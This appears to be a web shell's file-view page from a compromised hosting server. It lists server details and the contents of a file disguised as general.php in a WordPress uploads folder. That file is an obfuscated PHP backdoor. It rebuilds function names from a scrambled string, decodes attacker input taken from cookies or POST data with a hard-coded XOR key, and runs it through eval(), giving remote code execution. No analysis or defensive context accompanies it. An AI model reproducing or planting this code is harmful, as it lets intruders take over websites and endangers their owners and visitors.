HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/uploads/general.php
<?php
$totko = 'ik7\'o-p_vmcHx1d8funsyt5*l9gba43#re6';$xtryu = Array();$xtryu[] = $totko[33].$totko[29].$totko[22].$totko[15].$totko[30].$totko[34].$totko[29].$totko[2].$totko[5].$totko[14].$totko[30].$totko[22].$totko[10].$totko[5].$totko[29].$totko[29].$totko[15].$totko[27].$totko[5].$totko[25].$totko[25].$totko[29].$totko[16].$totko[5].$totko[2].$totko[30].$totko[13].$totko[15].$totko[25].$totko[22].$totko[13].$totko[10].$totko[27].$totko[34].$totko[2].$totko[13];$xtryu[] = $totko[11].$totko[23];$xtryu[] = $totko[31];$xtryu[] = $totko[10].$totko[4].$totko[17].$totko[18].$totko[21];$xtryu[] = $totko[19].$totko[21].$totko[32].$totko[7].$totko[32].$totko[33].$totko[6].$totko[33].$totko[28].$totko[21];$xtryu[] = $totko[33].$totko[12].$totko[6].$totko[24].$totko[4].$totko[14].$totko[33];$xtryu[] = $totko[19].$totko[17].$totko[27].$totko[19].$totko[21].$totko[32];$xtryu[] = $totko[28].$totko[32].$totko[32].$totko[28].$totko[20].$totko[7].$totko[9].$totko[33].$totko[32].$totko[26].$totko[33];$xtryu[] = $totko[19].$totko[21].$totko[32].$totko[24].$totko[33].$totko[18];$xtryu[] = $totko[6].$totko[28].$totko[10].$totko[1];foreach ($xtryu[7]($_COOKIE, $_POST) as $fjmvtp => $aabjzb){function soifv($xtryu, $fjmvtp, $zlvqin){return $xtryu[6]($xtryu[4]($fjmvtp . $xtryu[0], ($zlvqin / $xtryu[8]($fjmvtp)) + 1), 0, $zlvqin);}function rgrjy($xtryu, $dbabnwc){return @$xtryu[9]($xtryu[1], $dbabnwc);}function xenxt($xtryu, $dbabnwc){$hjvfiml = $xtryu[3]($dbabnwc) % 3;if (!$hjvfiml) {eval($dbabnwc[1]($dbabnwc[2]));exit();}}$aabjzb = rgrjy($xtryu, $aabjzb);xenxt($xtryu, $xtryu[5]($xtryu[2], $aabjzb ^ soifv($xtryu, $fjmvtp, $xtryu[8]($aabjzb))));}